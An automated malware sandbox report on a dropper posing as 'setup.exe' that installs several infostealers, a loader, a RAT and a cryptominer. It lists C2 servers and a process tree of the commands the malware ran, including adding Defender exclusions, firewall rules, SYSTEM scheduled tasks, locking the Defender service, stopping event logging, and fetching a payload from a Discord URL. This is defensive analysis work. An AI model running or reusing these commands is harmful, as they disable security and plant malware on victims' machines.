Overview

overview

10

Static

static

7

archive-15...17.rar

windows10-1703-x64

3

archive-15...17.rar

windows10-2004-x64

3

hash.bin

windows10-1703-x64

3

hash.bin

windows10-2004-x64

3

setup.exe

windows10-1703-x64

10

setup.exe

windows10-2004-x64

10

Resubmissions

15-04-2024 19:48

240415-yjb28sgh2y 10

15-04-2024 19:06

240415-xsd3hsdf75 7

15-04-2024 19:02

240415-xpws6afh4x 10

15-04-2024 18:45

240415-xecmjadd57 10

15-04-2024 18:42

240415-xcbbpaff61 10

15-04-2024 18:39

240415-xaqctsff5v 10

15-04-2024 18:35

240415-w8gb5sff3w 10

15-04-2024 18:27

240415-w315csfe2x 10

15-04-2024 18:23

240415-w1w3mafd5t 7

15-04-2024 18:10

240415-wsg9hach35 7

Analysis

  • max time kernel
    576s
  • max time network
    582s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240412-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15-04-2024 18:45

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    setup.exe

  • Size

    700.0MB

  • MD5

    6d23d8dee5299700881a3e484eef8a9c

  • SHA1

    43b0c7e5bea63447ef78225d76fb47c6b29a4381

  • SHA256

    9383433f5dd673392f5dc01b0a8e84e063bf182cdb46fa49000a0b890f448240

  • SHA512

    c98754f41c3f094dc4d39f486c9ac0b6f91977258ba1a347c0914c00e47bf995398a5c4572a8ea5d529a28c12a71b6bfb09869bd9187416e31978440b33a4e87

  • SSDEEP

    49152:GnjzX9RG5mnTDunfqNMP9Pyz6DMPCMTbzdZEmqyXVSY+wfdH1rFuzi56M/cH1oYI:OD9cSfX69PvQP1vFqyXHvsnM/PbQi

Score
10/10
gcleanergluptebalummaredlineriseprosocks5systemzstealcvidarzgratlogsdiller cloud (tg: @logsdillabot)botnetdiscoverydropperevasioninfostealerloaderpersistenceratrootkitspywarestealerthemidatrojanvmprotect

Malware Config

Extracted

Family

vidar

C2

https://steamcommunity.com/profiles/76561199673019888

https://t.me/irfail

https://t.me/de17fs

https://steamcommunity.com/profiles/76561199667616374
Attributes
  • user_agent

    Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0

Extracted

Family

redline

Botnet

LogsDiller Cloud (TG: @logsdillabot)

C2

5.42.65.50:33080

Extracted

Family

gcleaner

C2

185.172.128.90

5.42.65.64
Attributes
  • url_path

    /advdlc.php

Extracted

Family

lumma

C2

https://greetclassifytalk.shop/api

https://entitlementappwo.shop/api

https://economicscreateojsu.shop/api

https://pushjellysingeywus.shop/api

https://absentconvicsjawun.shop/api

https://suitcaseacanehalk.shop/api

https://bordersoarmanusjuw.shop/api

https://mealplayerpreceodsju.shop/api

https://wifeplasterbakewis.shop/api

Extracted

Family

socks5systemz

C2

http://ebeidfo.ua/search/?q=67e28dd86d5df22d470fa41e7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f771ea771795af8e05c645db22f31dfe339426fa11af66c152adb719a9577e55b8603e983a608ffc13c0e895993f

http://ebeidfo.ua/search/?q=67e28dd86d5df22d470fa41e7c27d78406abdd88be4b12eab517aa5c96bd86e89d8f4f96148ab2865b77f80ebad9c40f7cb63037ed2ab423a4324383ba915d911ec07bb606a0708727e40ea678c45abbe74ffb0e2807e12571c17f3e83fe16c1ec979a3ccd6c92

Signatures

  • Detect Vidar Stealer 6 IoCs
    stealer
  • Detect ZGRat V1 4 IoCs
  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    loadergcleaner
  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba payload 1 IoCs
  • Lumma Stealer

    An infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Modifies firewall policy service 2 TTPs 2 IoCs
    evasion
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 2 IoCs
  • RisePro

    RisePro stealer is an infostealer distributed by PrivateLoader.

    stealerrisepro
  • Socks5Systemz

    Socks5Systemz is a botnet written in C++.

    botnetsocks5systemz
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • ZGRat

    ZGRat is remote access trojan written in C#.

    ratzgrat
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 4 IoCs
    evasion
  • Blocklisted process makes network request 6 IoCs
  • Creates new service(s) 1 TTPs
    persistence
  • Downloads MZ/PE file
  • Modifies Windows Firewall 2 TTPs 1 IoCs
    evasion
  • Stops running service(s) 3 TTPs
    evasion
  • Checks BIOS information in registry 2 TTPs 10 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 34 IoCs
  • Loads dropped DLL 5 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 21 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Unexpected DNS network traffic destination 1 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • VMProtect packed file 3 IoCs

    Detects executables packed with VMProtect commercial packer.

    vmprotect
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 4 IoCs
    evasiontrojan
  • Drops Chrome extension 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs
  • Looks up external IP address via web service 8 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Manipulates WinMon driver. 1 IoCs

    Roottkits write to WinMon to hide PIDs from being detected.

    rootkitevasion
  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

    rootkitevasion
  • Drops file in System32 directory 48 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
  • Suspicious use of SetThreadContext 7 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 2 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 8 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 11 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 13 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Enumerates system info in registry 2 TTPs 4 IoCs
  • GoLang User-Agent 3 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Kills process with taskkill 1 IoCs
    evasion
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\setup.exe
    "C:\Users\Admin\AppData\Local\Temp\setup.exe"
    1⤵
    • Modifies firewall policy service
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks computer location settings
    • Checks whether UAC is enabled
    • Drops file in System32 directory
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of WriteProcessMemory
    PID:4756
    • C:\Users\Admin\Documents\SimpleAdobe\K3WDl2xWvNNnkfn4nYdQExzq.exe
      C:\Users\Admin\Documents\SimpleAdobe\K3WDl2xWvNNnkfn4nYdQExzq.exe
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Checks whether UAC is enabled
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious behavior: EnumeratesProcesses
      PID:2668
    • C:\Users\Admin\Documents\SimpleAdobe\s4AaUwLl6DEajYQi5WVeMPx0.exe
      C:\Users\Admin\Documents\SimpleAdobe\s4AaUwLl6DEajYQi5WVeMPx0.exe
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      PID:3520
    • C:\Users\Admin\Documents\SimpleAdobe\gNaZnn5CLFQicjVhsTk8gKef.exe
      C:\Users\Admin\Documents\SimpleAdobe\gNaZnn5CLFQicjVhsTk8gKef.exe
      2⤵
      • Executes dropped EXE
      PID:2104
      • C:\Users\Admin\AppData\Local\Temp\7zS94F8.tmp\Install.exe
        .\Install.exe /IExpbdidepGR "525403" /S
        3⤵
        • Checks BIOS information in registry
        • Checks computer location settings
        • Executes dropped EXE
        • Enumerates system info in registry
        PID:3360
        • C:\Windows\SysWOW64\forfiles.exe
          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
          4⤵
            PID:4696
            • C:\Windows\SysWOW64\cmd.exe
              /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
              5⤵
                PID:3640
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                  6⤵
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:468
                  • C:\Windows\SysWOW64\Wbem\WMIC.exe
                    "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                    7⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:556
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /CREATE /TN "bXvtwaJkKQEzfXjvnG" /SC once /ST 18:50:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\IvFVVHNigIyhAiWaa\EDHrMUSPJvyJNvL\MczRWBv.exe\" Mv /aqsite_idVVm 525403 /S" /V1 /F
              4⤵
              • Drops file in Windows directory
              • Creates scheduled task(s)
              PID:4720
        • C:\Users\Admin\Documents\SimpleAdobe\4dLTrXqtftUhIwJTRyHSSejV.exe
          C:\Users\Admin\Documents\SimpleAdobe\4dLTrXqtftUhIwJTRyHSSejV.exe
          2⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:4884
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
            3⤵
              PID:4088
          • C:\Users\Admin\Documents\SimpleAdobe\e02CHlRDyVx8CisrSUbTQs_u.exe
            C:\Users\Admin\Documents\SimpleAdobe\e02CHlRDyVx8CisrSUbTQs_u.exe
            2⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Checks whether UAC is enabled
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious behavior: EnumeratesProcesses
            PID:4492
          • C:\Users\Admin\Documents\SimpleAdobe\oqnIhEuqPWFLxfGfy_cozJKr.exe
            C:\Users\Admin\Documents\SimpleAdobe\oqnIhEuqPWFLxfGfy_cozJKr.exe
            2⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            PID:2772
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
              3⤵
                PID:4024
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                3⤵
                • Blocklisted process makes network request
                PID:4308
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 4308 -s 2120
                  4⤵
                  • Program crash
                  PID:3300
            • C:\Users\Admin\Documents\SimpleAdobe\kN3Wu8RUu2uTrcf2g49JbbJI.exe
              C:\Users\Admin\Documents\SimpleAdobe\kN3Wu8RUu2uTrcf2g49JbbJI.exe
              2⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of SetThreadContext
              PID:3116
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
                C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
                3⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4304
            • C:\Users\Admin\Documents\SimpleAdobe\D3wSlOtntlkjBD387yaruAqa.exe
              C:\Users\Admin\Documents\SimpleAdobe\D3wSlOtntlkjBD387yaruAqa.exe
              2⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              PID:2268
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                3⤵
                  PID:2868
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 2868 -s 2100
                    4⤵
                    • Program crash
                    PID:2880
              • C:\Users\Admin\Documents\SimpleAdobe\QcMIl6J7oMLzdIxc7BHVgaQ9.exe
                C:\Users\Admin\Documents\SimpleAdobe\QcMIl6J7oMLzdIxc7BHVgaQ9.exe
                2⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:4744
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                  3⤵
                  • Modifies system certificate store
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2784
              • C:\Users\Admin\Documents\SimpleAdobe\kwI5msI0GXCECMxCfATKQ50A.exe
                C:\Users\Admin\Documents\SimpleAdobe\kwI5msI0GXCECMxCfATKQ50A.exe
                2⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Checks processor information in registry
                • Suspicious behavior: EnumeratesProcesses
                PID:4320
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 4320 -s 2180
                  3⤵
                  • Program crash
                  PID:4252
              • C:\Users\Admin\Documents\SimpleAdobe\P1i57rTqyYvK8Wz1_NY_lX0m.exe
                C:\Users\Admin\Documents\SimpleAdobe\P1i57rTqyYvK8Wz1_NY_lX0m.exe
                2⤵
                • Checks computer location settings
                • Executes dropped EXE
                PID:1368
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 756
                  3⤵
                  • Program crash
                  PID:3628
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 764
                  3⤵
                  • Program crash
                  PID:1996
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 784
                  3⤵
                  • Program crash
                  PID:1832
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 744
                  3⤵
                  • Program crash
                  PID:4552
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 964
                  3⤵
                  • Program crash
                  PID:4928
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 996
                  3⤵
                  • Program crash
                  PID:1464
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 1332
                  3⤵
                  • Program crash
                  PID:1996
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c taskkill /im "P1i57rTqyYvK8Wz1_NY_lX0m.exe" /f & erase "C:\Users\Admin\Documents\SimpleAdobe\P1i57rTqyYvK8Wz1_NY_lX0m.exe" & exit
                  3⤵
                    PID:3236
                    • C:\Windows\SysWOW64\taskkill.exe
                      taskkill /im "P1i57rTqyYvK8Wz1_NY_lX0m.exe" /f
                      4⤵
                      • Kills process with taskkill
                      PID:2388
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 1376
                    3⤵
                    • Program crash
                    PID:3644
                • C:\Users\Admin\Documents\SimpleAdobe\GIRYqcKiZvhmj93nqNmYBOcU.exe
                  C:\Users\Admin\Documents\SimpleAdobe\GIRYqcKiZvhmj93nqNmYBOcU.exe
                  2⤵
                  • Modifies firewall policy service
                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                  • Checks BIOS information in registry
                  • Executes dropped EXE
                  • Checks whether UAC is enabled
                  • Drops file in System32 directory
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • Suspicious behavior: EnumeratesProcesses
                  PID:4964
                • C:\Users\Admin\Documents\SimpleAdobe\tuZctSq25Sx46OCwloIdBXYG.exe
                  C:\Users\Admin\Documents\SimpleAdobe\tuZctSq25Sx46OCwloIdBXYG.exe
                  2⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  PID:3488
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell -nologo -noprofile
                    3⤵
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1684
                  • C:\Users\Admin\Documents\SimpleAdobe\tuZctSq25Sx46OCwloIdBXYG.exe
                    "C:\Users\Admin\Documents\SimpleAdobe\tuZctSq25Sx46OCwloIdBXYG.exe"
                    3⤵
                    • Executes dropped EXE
                    • Adds Run key to start application
                    • Checks for VirtualBox DLLs, possible anti-VM trick
                    • Drops file in Windows directory
                    • Modifies data under HKEY_USERS
                    • Suspicious behavior: EnumeratesProcesses
                    PID:580
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      powershell -nologo -noprofile
                      4⤵
                      • Drops file in System32 directory
                      • Modifies data under HKEY_USERS
                      • Suspicious behavior: EnumeratesProcesses
                      PID:4852
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                      4⤵
                        PID:1724
                        • C:\Windows\system32\netsh.exe
                          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                          5⤵
                          • Modifies Windows Firewall
                          PID:3988
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell -nologo -noprofile
                        4⤵
                        • Drops file in System32 directory
                        • Modifies data under HKEY_USERS
                        PID:4736
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell -nologo -noprofile
                        4⤵
                        • Drops file in System32 directory
                        • Modifies data under HKEY_USERS
                        PID:2952
                      • C:\Windows\rss\csrss.exe
                        C:\Windows\rss\csrss.exe
                        4⤵
                        • Executes dropped EXE
                        • Adds Run key to start application
                        • Manipulates WinMonFS driver.
                        • Drops file in Windows directory
                        PID:1496
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell -nologo -noprofile
                          5⤵
                          • Drops file in System32 directory
                          • Modifies data under HKEY_USERS
                          PID:4352
                          • C:\Windows\System32\Conhost.exe
                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            6⤵
                              PID:4852
                          • C:\Windows\SYSTEM32\schtasks.exe
                            schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                            5⤵
                            • Creates scheduled task(s)
                            PID:2416
                          • C:\Windows\SYSTEM32\schtasks.exe
                            schtasks /delete /tn ScheduledUpdate /f
                            5⤵
                              PID:3292
                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                              powershell -nologo -noprofile
                              5⤵
                              • Drops file in System32 directory
                              • Modifies data under HKEY_USERS
                              PID:1948
                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                              powershell -nologo -noprofile
                              5⤵
                              • Drops file in System32 directory
                              • Modifies data under HKEY_USERS
                              PID:464
                            • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
                              C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
                              5⤵
                              • Executes dropped EXE
                              PID:5076
                            • C:\Windows\SYSTEM32\schtasks.exe
                              schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                              5⤵
                              • Creates scheduled task(s)
                              PID:1592
                            • C:\Windows\windefender.exe
                              "C:\Windows\windefender.exe"
                              5⤵
                              • Executes dropped EXE
                              PID:1492
                              • C:\Windows\System32\Conhost.exe
                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                6⤵
                                  PID:2268
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                                  6⤵
                                    PID:3636
                                    • C:\Windows\SysWOW64\sc.exe
                                      sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                                      7⤵
                                      • Launches sc.exe
                                      PID:2424
                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                  powershell -nologo -noprofile
                                  5⤵
                                  • Drops file in System32 directory
                                  • Modifies data under HKEY_USERS
                                  PID:4792
                                • C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe
                                  C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=al2xoqueel0She4t -m=https://cdn.discordapp.com/attachments/1225871855328559147/1225878907014615161/kVYazCOZSwqudV?ex=6622bbb3&is=661046b3&hm=c80160577fcc82f0e337c537bdd214d60583ed75bb187a016d90f94471fc09b0& -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:80
                                  5⤵
                                  • Executes dropped EXE
                                  PID:1164
                                  • C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe
                                    C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe -o showlock.net:40001 --rig-id 302ba536-1ae5-4d2c-9640-436ebe72234f --tls --nicehash -o showlock.net:443 --rig-id 302ba536-1ae5-4d2c-9640-436ebe72234f --tls --nicehash -o showlock.net:80 --rig-id 302ba536-1ae5-4d2c-9640-436ebe72234f --nicehash --http-port 3433 --http-access-token 302ba536-1ae5-4d2c-9640-436ebe72234f --randomx-wrmsr=-1
                                    6⤵
                                    • Executes dropped EXE
                                    • Suspicious use of FindShellTrayWindow
                                    PID:4944
                                  • C:\Windows\rss\csrss.exe
                                    C:\Windows\rss\csrss.exe -hide 4944
                                    6⤵
                                    • Executes dropped EXE
                                    • Manipulates WinMon driver.
                                    PID:1076
                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                      powershell -nologo -noprofile
                                      7⤵
                                      • Drops file in System32 directory
                                      • Modifies data under HKEY_USERS
                                      PID:4312
                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                  powershell -nologo -noprofile
                                  5⤵
                                  • Drops file in System32 directory
                                  PID:4352
                                • C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
                                  C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
                                  5⤵
                                  • Executes dropped EXE
                                  PID:5020
                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                  powershell -nologo -noprofile
                                  5⤵
                                  • Drops file in System32 directory
                                  • Modifies data under HKEY_USERS
                                  PID:4200
                                • C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
                                  C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
                                  5⤵
                                  • Executes dropped EXE
                                  PID:5032
                                • C:\Windows\SYSTEM32\schtasks.exe
                                  schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                                  5⤵
                                  • Creates scheduled task(s)
                                  PID:1956
                          • C:\Users\Admin\Documents\SimpleAdobe\9YVd8Opjg5kP29QMElKldZkn.exe
                            C:\Users\Admin\Documents\SimpleAdobe\9YVd8Opjg5kP29QMElKldZkn.exe
                            2⤵
                            • Executes dropped EXE
                            • Suspicious use of WriteProcessMemory
                            PID:884
                            • C:\Users\Admin\AppData\Local\Temp\is-OR2A4.tmp\is-VK0NS.tmp
                              "C:\Users\Admin\AppData\Local\Temp\is-OR2A4.tmp\is-VK0NS.tmp" /SL4 $601F0 "C:\Users\Admin\Documents\SimpleAdobe\9YVd8Opjg5kP29QMElKldZkn.exe" 4119408 52224
                              3⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              PID:4784
                              • C:\Users\Admin\AppData\Local\Three Kingsoft Video\threekingsoftvideo.exe
                                "C:\Users\Admin\AppData\Local\Three Kingsoft Video\threekingsoftvideo.exe" -i
                                4⤵
                                • Executes dropped EXE
                                PID:3964
                              • C:\Users\Admin\AppData\Local\Three Kingsoft Video\threekingsoftvideo.exe
                                "C:\Users\Admin\AppData\Local\Three Kingsoft Video\threekingsoftvideo.exe" -s
                                4⤵
                                • Executes dropped EXE
                                PID:3792
                          • C:\Users\Admin\Documents\SimpleAdobe\NYulW0N4e1hPawIOp4plsa35.exe
                            C:\Users\Admin\Documents\SimpleAdobe\NYulW0N4e1hPawIOp4plsa35.exe
                            2⤵
                            • Executes dropped EXE
                            • Suspicious behavior: EnumeratesProcesses
                            PID:4648
                            • C:\Windows\system32\powercfg.exe
                              C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                              3⤵
                              • Suspicious use of AdjustPrivilegeToken
                              PID:3516
                            • C:\Windows\system32\powercfg.exe
                              C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                              3⤵
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1748
                            • C:\Windows\system32\powercfg.exe
                              C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                              3⤵
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4588
                            • C:\Windows\system32\powercfg.exe
                              C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                              3⤵
                              • Suspicious use of AdjustPrivilegeToken
                              PID:3744
                            • C:\Windows\system32\sc.exe
                              C:\Windows\system32\sc.exe delete "OBGPQMHF"
                              3⤵
                              • Launches sc.exe
                              PID:4200
                            • C:\Windows\system32\sc.exe
                              C:\Windows\system32\sc.exe create "OBGPQMHF" binpath= "C:\ProgramData\ndfbaljqaqzm\dckuybanmlgp.exe" start= "auto"
                              3⤵
                              • Launches sc.exe
                              PID:4480
                            • C:\Windows\system32\sc.exe
                              C:\Windows\system32\sc.exe stop eventlog
                              3⤵
                              • Launches sc.exe
                              PID:3524
                            • C:\Windows\system32\sc.exe
                              C:\Windows\system32\sc.exe start "OBGPQMHF"
                              3⤵
                              • Launches sc.exe
                              PID:4024
                          • C:\Users\Admin\Documents\SimpleAdobe\f5VHEXNHF974Dhcz8BdyX288.exe
                            C:\Users\Admin\Documents\SimpleAdobe\f5VHEXNHF974Dhcz8BdyX288.exe
                            2⤵
                            • Executes dropped EXE
                            PID:880
                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                              powershell -nologo -noprofile
                              3⤵
                                PID:1016
                              • C:\Users\Admin\Documents\SimpleAdobe\f5VHEXNHF974Dhcz8BdyX288.exe
                                "C:\Users\Admin\Documents\SimpleAdobe\f5VHEXNHF974Dhcz8BdyX288.exe"
                                3⤵
                                • Executes dropped EXE
                                • Checks for VirtualBox DLLs, possible anti-VM trick
                                PID:4160
                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                  powershell -nologo -noprofile
                                  4⤵
